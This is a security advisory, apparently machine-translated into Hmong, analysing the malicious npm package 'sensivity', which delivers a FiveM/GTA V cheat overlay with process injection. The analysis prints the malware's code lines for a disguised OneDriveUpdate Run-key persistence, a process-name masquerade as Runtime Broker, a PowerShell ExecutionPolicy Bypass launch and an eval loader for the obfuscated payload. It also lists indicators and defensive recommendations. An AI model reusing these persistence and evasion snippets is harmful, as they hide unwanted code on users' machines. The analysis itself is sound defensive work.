TL; DR
Lub npm pob khoom kev xav piav qhia nws tus kheej li "Sensivity Control Panel." Hauv Windows nws ua haujlwm zoo li lub cuab yeej tswj chaw taws teeb thiab saib xyuas.
Nws qhov chaw nkag, launcher.js, hloov nws tus kheej cov txheej txheem mus rau Runtime Broker, sau ib qho autostart Run-key nqi hu ua OneDriveUpdate uas rov qhib lub pob khoom los ntawm VBScript zais, ua rau PowerShell nrog -ExecutionPolicy Bypass, thiab tom qab ntawd ntsuas qhov 171 KB obfuscated server payload nrog rau 6.87 MB native module, sens.node.
Nws ua haujlwm rau lub vaj huam sib luag tswj hwm kev sib txuas xov tooj ntawm TCP chaw nres nkoj 3000 thiab nyeem qhov browser qhov chaw nyob URL los ntawm Windows UIAutomation, saib ib qho YouTube video nyuaj.
Ob ntu uas nyeem ua ntej tso tseg ua lub thawv dub tam sim no tau daws teeb meem lawm. Lub server uas tsis meej pem, server.obf.js, siv obfuscator.io RC4 string-array scheme; rov ua dua nws lub decoder offline (tsis muaj JavaScript ua haujlwm) rov qab tau ib qho chaw xaus sab nraud - https://izopi.com/check.php — ua ke nrog tus yuam sij pej xeem RSA uas siv los txheeb xyuas cov lus teb rau daim ntawv tso cai uas tau kos npe.
Lub module haiv neeg, sens.node, tsis tau ntim: nws lub rooj import thiab cov hlua embedded txheeb xyuas nws ua DirectX 11 / Dear ImGui hauv-kev ua si overlay muab aimbot, ESP (wall-hack), thiab triggerbot nta, tsav los ntawm kev txhaj tshuaj ntawm chaw taws teeb thiab nco nyeem / sau.
Cov hlua hauv nws siv cov khoom siv tsheb thiab daim ntawv qhia chaw sib xws nrog GTA V / FiveM. Lub pob npm yog qhov xa khoom thiab kev ruaj khov qhwv ncig lub module ntawd.
Lub cim qhia txog kev ua haujlwm yog ua haujlwm tau zoo, tsis yog kev siv tshuab: ib tus tshaj tawm tsis qhia npe tau thawb kwv yees li xya caum versions ntawm ib pob khoom - 2.5.0 txog 2.5.69 — hla ob peb hnub, txhua tus nqa tib lub launcher.
Tsis muaj cov installation hooksLub payload tsuas yog khiav thaum lub pob pib.
Kev Tawm Tsam: Nws Ua Haujlwm Li Cas
sensivity xa kaum cov ntaub ntawv. Lub pob khoom.json tsis tshua muaj: tsis muaj thaj chaw khaws cia, tsis muaj daim ntawv tso cai, lub ntsiab thiab ob lub bin aliases (sensivity, sens) txhua tus taw tes rau launcher.js, thiab tsab ntawv pib ntawm node launcher.js. Tsis muaj postinstall lossis preinstall. Tsis muaj dab tsi hluav taws kub ntawm npm install. Tus cwj pwm piav qhia hauv qab no khiav thaum tus neeg siv pib lub pob khoom - ntawm lub bin shim, tsab ntawv pib, lossis qhov xav tau.
Lub tarball nqa lub launcher, lub server obfuscated, lub native module, Visual Basic script, thiab ib daim ntawv qhia pej xeem/ web rau lub vaj huam sib luag tswj. launcher.js yog tus nyeem tau orchestrator; qhov logic uas tseem ceeb thaum lub sijhawm khiav nyob hauv ob lub blobs nws loads - lub server obfuscated thiab lub compiled native module, ob qho tib si daws teeb meem hauv qab no.
Cov txheej txheem masquerade thiab tus neeg hloov kho tshiab OneDrive cuav
Thaum ntxov ntawm kev ua haujlwm launcher.js teeb tsa nws tus kheej lub npe txheej txheem ob zaug:
javascript process.title = 'Runtime Broker'; Runtime Broker yog ib qho txheej txheem Windows raug cai (RuntimeBroker.exe) uas yog tus neeg nruab nrab ntawm kev tso cai rau app. Kev hloov lub npe ntawm Node txheej txheem kom phim nws txhais tau tias kev saib sai sai ntawm Task Manager qhia tsis muaj dab tsi txawv txawv.
Kev ruaj khov yog sau los ntawm PowerShell es tsis yog API sau npe ncaj qha:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Tus nqi pib tsis siv neeg hu ua OneDriveUpdate, thiab nws tsis taw tes ncaj qha rau pob khoom. Nws taw tes rau wscript.exe khiav OneDrive.Standalone.Updater.vbs uas tau muab tso ua ke. Tsab ntawv ntawd rov qhib dua node launcher.js hauv lub qhov rai zais. Ob lub npe Run-key thiab lub npe ntaub ntawv VBScript qiv Microsoft lub npe, yog li cov ntawv nkag pib tsis siv neeg nyeem ua ib txoj haujlwm OneDrive ib txwm muaj.
PowerShell nrog kev hla txoj cai ua tiav
Lub launcher rov qab mus rau PowerShell ntau zaus. Lub dab dej uas cov scanners cim tias tseem ceeb yog qhov tso tawm ntawm .ps1 uas tsim tawm nrog txoj cai ua haujlwm raug kaw:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Kev Tshem Tawm Txoj Cai Execution tshem tawm qhov kev kuaj xyuas sau ntawv hauv zos rau qhov kev thov ntawd. Cov ntawv sau tsim tawm ua haujlwm saib xyuas browser thiab nrhiav qhov rai uas tau piav qhia hauv ntu tom ntej.
Lub server uas tsis meej pem thiab lub module ib txwm muaj
Tom qab teeb tsa, launcher.js loads thiab ua tiav nws cov payload tiag tiag:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js yog 171 KB ntawm _0x-array obfuscation - tus qauv JavaScript qhov twg txhua txoj hlua thiab tus cim qhia tau hloov los ntawm cov ntsuas mus rau hauv ib qho array shuffled, tom qab ntawd de-referenced thaum lub sijhawm khiav. Cov qauv yog RC4 variant tsim los ntawm obfuscator.io: ib qho decoder function base64-decodes ib qho array nkag thiab tom qab ntawd RC4-decrypts nws nrog ib tus yuam sij ib zaug. Rov ua dua qhov decoder ntawd hauv ib tsab ntawv sib cais - khiav tsuas yog qhov rov ua dua ntawm 821-nkag string array rho tawm, tsis yog pob khoom tus kheej JavaScript - unwinds nws huv si. Dab tsi yog me me tab sis decisive: ib qho URL sab nraud, https://izopi.com/check.php`, muab rau LICENSE_URL tas li; ib qho RSA PUBLIC_KEY_PEM` embedded; lub vaj huam sib luag hauv zos taug kev /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, thiab /trigger/status; thiab cov hlua child_process, crypto, thiab [Sensivity] sens.node loaded - qhov kawg yog kab cav tseeb uas lub launcher rov sau dua rau qhov program module loaded. Lub endpoint yog kev kuaj xyuas daim ntawv tso cai: tus neeg siv khoom tshaj tawm tus cim (lub server obfuscated formats ib qho Discord ID: %s string) thiab tus yuam sij RSA txheeb xyuas lub server cov lus teb kos npe.
sens.node yog 6.87 MB compiled native addon, thiab nws tsis tau ntim - seem entropy nyob ntawm 5.6–6.6 thiab PE import thiab export cov lus qhia tseem zoo, yog li nws cov peev xwm nyeem tau ncaj qha. Nws exports napi_register_module_v1, lub standard Qhov chaw nkag ntawm Node N-API, yog li ntawd tus neeg rau zaub mov eval'd thauj nws nrog qhov xav tau yooj yim. Nws lub rooj import yog qhov qhia. Los ntawm KERNEL32 nws rub OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, thiab Process32First/NextW - cov txheej txheem canonical rau kev nrhiav lwm txoj hauv kev, faib lub cim xeeb hauv nws, thiab nyeem lossis sau lub cim xeeb ntawd. Los ntawm USER32 nws rub GetAsyncKeyState, GetKeyState, mouse_event, thiab SetCursorPos; nws txuas d3d11.dll, D3DCOMPILER_43, thiab dwmapi rau kev overlay ntawm qhov screen, thiab tag nrho WINHTTP teeb tsa rau kev hu xov tooj hauv network. Nws cov hlua khi uas muab tso rau hauv lub npe ntawm cov yam ntxwv uas tsis muaj kev tsis meej pem: Pab kom Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, thiab Dear ImGui banner Dear ImGui 1.91.3 WIP. Qhov chaw thiab cov hlua khi xws li Grapeseed Medical Clinic thiab cov lus hais txog lub tsheb-ESP yog sib xws nrog GTA V / FiveM.
Qhov kev faib tawm yog ua tib zoo xav txog: lub launcher.js uas nyeem tau tsuas yog nqa cov ntu uas lub scanner nyeem tau yooj yim - kev ua siab ntev, kev ua txuj ua li, qhov kev hu xov tooj nws tus kheej - thaum qhov kev ua kom zais zais ib tus tswv tsev sab nraud cov neeg sib cuag runtime, thiab lub binary tuav cov kev ua si-overlay thiab cov txheej txheem-txhaj tshuaj logic. Lub launcher yog lub plhaub nyias, kuaj xyuas tau; lub server obfuscated zais lub network identity; lub module ib txwm yog lub payload. Peb piav qhia txog binary cov khoom xa tuaj thiab cov hlua raws li nyeem; peb tsis xav txog lub hom phiaj ntawm tus neeg teb xov tooj los ntawm lawv.
Lub vaj huam sib luag tswj kev sib txuas xov tooj ntawm qhov chaw nres nkoj 3000
Tus launcher tswj hwm lub web server hauv zos ntawm TCP chaw nres nkoj 3000 thiab kho nws zoo li ib qho singleton. Nws nug rau tus mloog uas twb muaj lawm thiab tshem nws ua ntej khi:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Lub vaj huam sib luag no tuaj yeem ncav cuag tau ntawm http://localhost:3000, nrog rau qhov URL rov qab LAN uas muaj zog ntawm http://192.168.1.16:3000. Daim ntawv qhia pej xeem/ thiab tus cwj pwm ntawm lub vaj huam sib luag yog sib xws nrog QR-pairing flow: lub xov tooj scans ib qho code thiab khi rau tus tswv tsev ua chaw taws teeb. Tsis muaj qhov chaw hais kom ua thiab tswj hwm sab nraud tshwm sim hauv cov ntawv meej hauv lub launcher - tab sis, raws li qhov deobfuscation saum toj no qhia, ib qho muaj nyob hauv lub server obfuscated: qhov kawg ntawm daim ntawv tso cai izopi.com. Lub vaj huam sib luag nws tus kheej yog hauv zos thiab LAN-scoped; tus tswv tsev tawm mus tsuas yog qhov kev kuaj xyuas daim ntawv tso cai ntawd.
Ib tus qauv saib xyuas/neeg ua haujlwm uas tsis koom nrog ua rau cov txheej txheem no muaj sia nyob. Lub launcher rov tshwm sim nrog SENSIVITY_SUPERVISOR thiab SENSIVITY_WORKER cov chij ib puag ncig, txhua tus menyuam khiav zais, yog li tua ib qho txheej txheem tawm ib tus neeg saib xyuas kom rov pib dua.
Kev Soj Ntsuam Browser thiab Lub Cim YouTube
Tus cwj pwm tshwj xeeb tshaj plaws yog kev saib xyuas browser. launcher.js tsim PowerShell uas tsav Windows UIAutomation kom nyeem qhov chaw nyob ntawm tus browser khiav:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern rov qab cov ntsiab lus ntawm ib qho UI element. Siv rau qhov browser's address-bar edit control, nws rov qab URL uas tus neeg raug tsim txom tab tom saib - tsis muaj browser extension, tsis kov qhov profile ntawm disk, thiab tsis muaj API hook. Cov script tsim tawm rov ua dua $browserNames daim ntawv teev npe thiab rho tawm URL lossis lub npe qhov rai ntawm txhua lub browser uas nyob rau pem hauv ntej.
Qhov URL ntawd raug sim tawm tsam ib lub hom phiaj uas tau sau code nyuaj:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Tus launcher polls rau ntawm peb vib nas this rau lub qhov rais browser uas qhia YouTube, thiab PowerShell generated nqa ib khub Get-YouTubeBrowser / Test-TargetYouTubeUrl uas phim rau tus ID video ntawd. Qhov cuam tshuam pom tau yog ob npaug: qhov URL browsing nquag nyeem tawm ntawm tus neeg raug tsim txom lub vijtsam, thiab tus tswv tsev txoj kev sib cuam tshuam nrog ib qho YouTube video tshwj xeeb raug kuaj pom. Peb piav qhia txog lub tshuab thiab lub hom phiaj; peb tsis xav txog lub hom phiaj los ntawm lawv.
Qhov nyeem tau ntawm qhov chaw nyob yog qhov uas lub scanner sau tias sensitive_data_enumeration — ib qho Process::env thiab UIAutomation qhov chaw pub rau lub sijhawm khiav hauv network. Nws zoo li tsis muaj teeb meem thaum nyob ib leeg thiab tsuas yog daws teeb meem rau kev saib xyuas thaum lub voj voog ntawm cov ntaub ntawv raug taug qab los ntawm qhov chaw UIAutomation mus rau lub server uas tsis meej.
Lub Sijhawm thiab Kev Hloov Pauv ntawm Version
Qhov rhiab heev tsis yog ib qho upload xwb. Tus account publisher muaj kwv yees li xya caum cov versions uas tau luam tawm ntawm cov pob no, thiab cov tshiab tau tuaj txog thaum lub sijhawm tshuaj xyuas. Lub launcher loj hlob feature los ntawm feature thoob plaws 2.5.x kab thaum nws qhov persistence thiab payload-loading nyob ruaj khov.
| Hnub Tim (UTC) | Cov qauv uas tau pom | Lub xeev ntawm lub launcher |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Lub hauv paus QR-vaj huam sib luag launcher; Run-key persistence; kev ntsuam xyuas ntawm obfuscated server. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Tib qho ntiv tes; kev tswj hwm console-trace. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Ntxiv cov hom phiaj koom tes hauv YouTube uas tau pinned wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Kev sau qhov sib txawv rov ua dua thoob plaws qhov ntau thiab tsawg; tus thawj saib xyuas/tus saib xyuas neeg ua haujlwm. |
Nyeem cov launcher hla cov neeg sawv cev rub tawm - 2.5.0, 2.5.36, thiab 2.5.69 - qhia plaub theem. Cov qauv tsim thaum ntxov tshaj plaws nqa lub hauv paus QR-pairing launcher. Txij li 2.5.33 UIAutomation address-bar harvester tshwm sim. Txij li 2.5.58 ib txheej supervisor-management ntxiv. Txij li 2.5.64 tus detached supervisor/worker watchdog ua tiav cov txheej txheem. Thoob plaws, plaub yam yeej tsis hloov pauv: OneDriveUpdate Run key, OneDrive.Standalone.Updater.vbs dropper, eval'd server.obf.js, thiab sens.node native module.
Lub nthwv dej xyoo 2026-06-05 yog qhov tseem ceeb vim nws tau rov tshaj tawm cov lej qis dua - 2.5.0 txog 2.5.15 - uas nyob qis dua cov qauv tau lees paub ob peb hnub dhau los. Qhov cuam tshuam yog kab 2.5.x sib txuas ntawm lub npe sau npe, txhua qhov version nqa tib lub launcher.
Cov cim qhia txog kev sib haum xeeb
Tag nrho cov cim qhia hauv qab no tau nyeem ncaj qha los ntawm pob tarball. Lub launcher nyeem tau tsuas yog nqa loopback thiab ib qho chaw nyob LAN ntiag tug; lub npe host sab nraud, izopi.com, tau rov qab los ntawm deobfuscating server.obf.js offline.
| hom | Qhov taw qhia | Sau ntawv |
|---|---|---|
| pob | npm:sensivity (≈70 cov qauv, 2.5.0-2.5.69) | Ib lub tuam txhab luam tawm ib pob; tsis muaj chaw khaws ntaub ntawv; tsis muaj ntawv tso cai. |
| cov ntaub ntawv | launcher.js | Tus neeg sau ntawv nyeem tau; lub hom phiaj tseem ceeb thiab lub thawv. |
| cov ntaub ntawv | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array payload, thauj khoom ntawm eval(fs.readFileSync(...)). |
| cov ntaub ntawv | sens.node (≈6.87 MB) | PE32+ x86-64 Node N-API ntxiv; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| cov ntaub ntawv | OneDrive.Standalone.Updater.vbs | Lub tshuab rov qhib dua uas zais cia (node launcher.js). |
| network | https://izopi.com/check.php | Daim ntawv tso cai/auth kawg tau rov qab los ntawm lub server uas tsis meej pem; embedded RSA public key txheeb xyuas cov lus teb. |
| Muaj rab peev xwm | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Kev txhaj tshuaj ntawm cov txheej txheem nyob deb thiab muaj peev xwm nyeem/sau lub cim xeeb. |
| Muaj rab peev xwm | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui kev ua si overlay siv aimbot, ESP, thiab triggerbot nta. |
| Kev Sau Npe | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Tus nqi pib tsis siv neeg taw qhia rau wscript.exe thiab lub VBScript launcher. |
| txheej txheem | process.title = 'Runtime Broker' | Masquerades ua tus txheej txheem Windows Runtime Broker raug cai. |
| Cwj Pwm | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Kev hla txoj cai ua haujlwm siv rau cov ntawv sau PowerShell uas tau tsim. |
| Cwj Pwm | UIAutomation ValuePattern nyeem ntawm qhov chaw nyob ntawm browser | Nyeem qhov URL ntawm lub qhov rais browser foreground. |
| Cwj Pwm | ID video hom phiaj wJWta2lO0Lw; 3-feeb YouTube kev xaiv tsa | Lub teeb liab saib xyuas kev koom tes uas tau txuas nrog. |
| network | http://localhost:3000, rov qab http://192.168.1.16:3000 | QR-pairing control panel tau raug nthuav tawm hauv zos thiab ntawm LAN. |
| ib puag ncig | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Cov chij sib koom tes ua haujlwm ntawm cov neeg saib xyuas uas raug cais tawm. |
Kev Ua Tus Thawj Coj, Kev Cuam Tshuam, thiab Cov Neeg Tiv Thaiv
Cov pob khoom no tau tshaj tawm los ntawm ib tus account npm uas nws tus email tau hais tias yog qhov chaw nyob Gmail uas tsis tau lees paub. Tus account no muaj qhov qhab nia tsis zoo hauv kev sau npe, tswj thiab tshaj tawm tsuas yog ib pob khoom no xwb, thiab tsis muaj qhov chaw khaws cia txuas. Peb tsis tau txheeb xyuas qhov muaj tus tswv ntawm tus email thiab peb muab qhov kev sib tw rau tus account tshaj tawm, tsis yog rau ib tus neeg twg uas muaj npe. Lub launcher tsis muaj cov khoom siv cleartext, tab sis tus tswv tsev sab nraud tam sim no paub: lub server obfuscated tiv tauj izopi.com rau kev kuaj xyuas daim ntawv tso cai, thiab lub module ib txwm - nyeem los ntawm nws lub rooj xa khoom thiab cov hlua es tsis yog rov qab qhia-los ntawm-kev qhia - yog qhov kev ua si overlay uas txhaj rau hauv thiab nyeem lub cim xeeb ntawm lwm cov txheej txheem.
Qhov cuam tshuam uas pom tau yog rau cov neeg siv Windows uas nruab thiab khiav qhov kev xav tau ntawm lub vaj huam sib luag tswj. Ntawm cov hosts ntawd, lub pob tsim kom muaj kev ruaj khov autostart uas zais ua ib txoj haujlwm OneDrive, hloov nws lub npe kom ua raws li cov txheej txheem system, nyeem qhov URL ntawm txhua yam uas tus neeg siv tab tom saib, thiab sawv ntawm lub vaj huam sib luag sib txuas uas khi lub tshuab rau qhov chaw taws teeb ntawm lub network hauv zos. Tus thawj saib xyuas / tus neeg ua haujlwm saib xyuas txhais tau tias ib qho kev tua cov txheej txheem tsis tshem nws; Run-key nkag tseem muaj sia nyob reboots. macOS thiab Linux tsis raug tsom los ntawm lub launcher - qhov kev ruaj khov, PowerShell, thiab UIAutomation txoj kev yog Windows-xwb.
Qhov kev hloov pauv ntawm xya caum version yog qhov sib txawv uas tsim nyog cim. Rov luam tawm ib pob ntau zaus hauv ob peb hnub, suav nrog cov lej version rov qab hauv qab cov uas twb tau raug tshem tawm lawm, khaws ib daim qauv luam tawm ntawm lub npe sau npe ntawm kev tshem tawm thiab ua rau cov npe thaiv uas tau muab tso rau hauv version tsis ua haujlwm. Ib qho nkag mus rau hauv daim ntawv teev npe rau sensivity@2.5.61 tsis ua dab tsi tawm tsam sensivity@2.5.3 rov luam tawm hnub tom qab.
Cov neeg tiv thaiv tuaj yeem ua haujlwm rau cov hauv qab no:
- Thaiv qhov rhiab heev ntawm lub npe pob khoom hauv cov npe tso cai registry-proxy thiab CI. Kev pinning cov versions ib leeg poob rau qhov rov tshaj tawm cadence; lub npe yog qhov qhia tau ruaj khov.
- Nrhiav ib qho Run value hu ua OneDriveUpdate uas cov ntaub ntawv siv wscript.exe tawm tsam .vbs hauv ib txoj kev rau ib tus neeg siv. Tus OneDrive updater tiag tiag tsis tau sau npe li no.
- Ceeb Toom txog ib qho txheej txheem Node.js uas nws lub npe ua haujlwm yog Runtime Broker. Tus neeg ua haujlwm tiag tiag yog RuntimeBroker.exe, tsis yog Node runtime.
- Chij npm nruab-lub sijhawm fetches ntawm cov pob khoom uas xa ib qho compiled .node addon ntxiv rau ib qho eval (fs.readFileSync (…)) ntawm ib tug kwvtij .obf.js cov ntaub ntawv. Qhov kev sib txuas ntawd - opaque native binary loaded ib sab ntawm ib qho obfuscated text payload - yog qhov qhia txog cov qauv ntawm no, ywj pheej ntawm txhua txoj hlua IOC.
- Kho txhua tus mloog uas khi rau hauv zos ntawm qhov chaw nres nkoj 3000 uas tshwm sim los ntawm cov txheej txheem Node tsis tau xav txog raws li qhov xav tias yuav muaj nyob rau ntawm cov chaw kawg ntawm Windows uas tswj hwm.
- Thaiv lossis ceeb toom rau cov kev thov tawm mus rau izopi.com los ntawm tus tsim tawm lossis cov neeg siv kawg; nws yog lub pob khoom tsuas yog qhov kawg sab nraud, mus txog ntawm /check.php los ntawm lub server obfuscated.
- Rau txhua qhov .node addon uas tau muab tso ua ke, xyuas nws lub rooj import ua ntej ntseeg nws. Kev sib xyaw ua ke OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread yog kev txhaj tshuaj ntawm cov txheej txheem deb txawm tias pob khoom hais tias ua dab tsi los xij; ntawm no nws zaum ib sab ntawm Direct3D overlay thiab aimbot / ESP / triggerbot strings.
Rau kev tshuaj xyuas zoo li qub pipelines, qhov kev ntseeg siab ruaj khov thoob plaws qhov version churn: ib qho tsis yog-network install profile, ib qho process-title assignment rau ib lub npe system-process paub, ib qho Run-key sau ntawm PowerShell, thiab ib qho kev ntsuam xyuas ntawm cov ntaub ntawv nyeem los ntawm disk. Tsis muaj ib qho ntawm cov no nyob ntawm lub domain, IP, lossis tus lej version uas qhov rov tshaj tawm tom ntej tuaj yeem tig mus.
References
[npm: kev xav] - nplooj ntawv sau npe rau kab ntawv version pob khoom uas tau tham txog ntawm no; yuav raug tshem tawm.
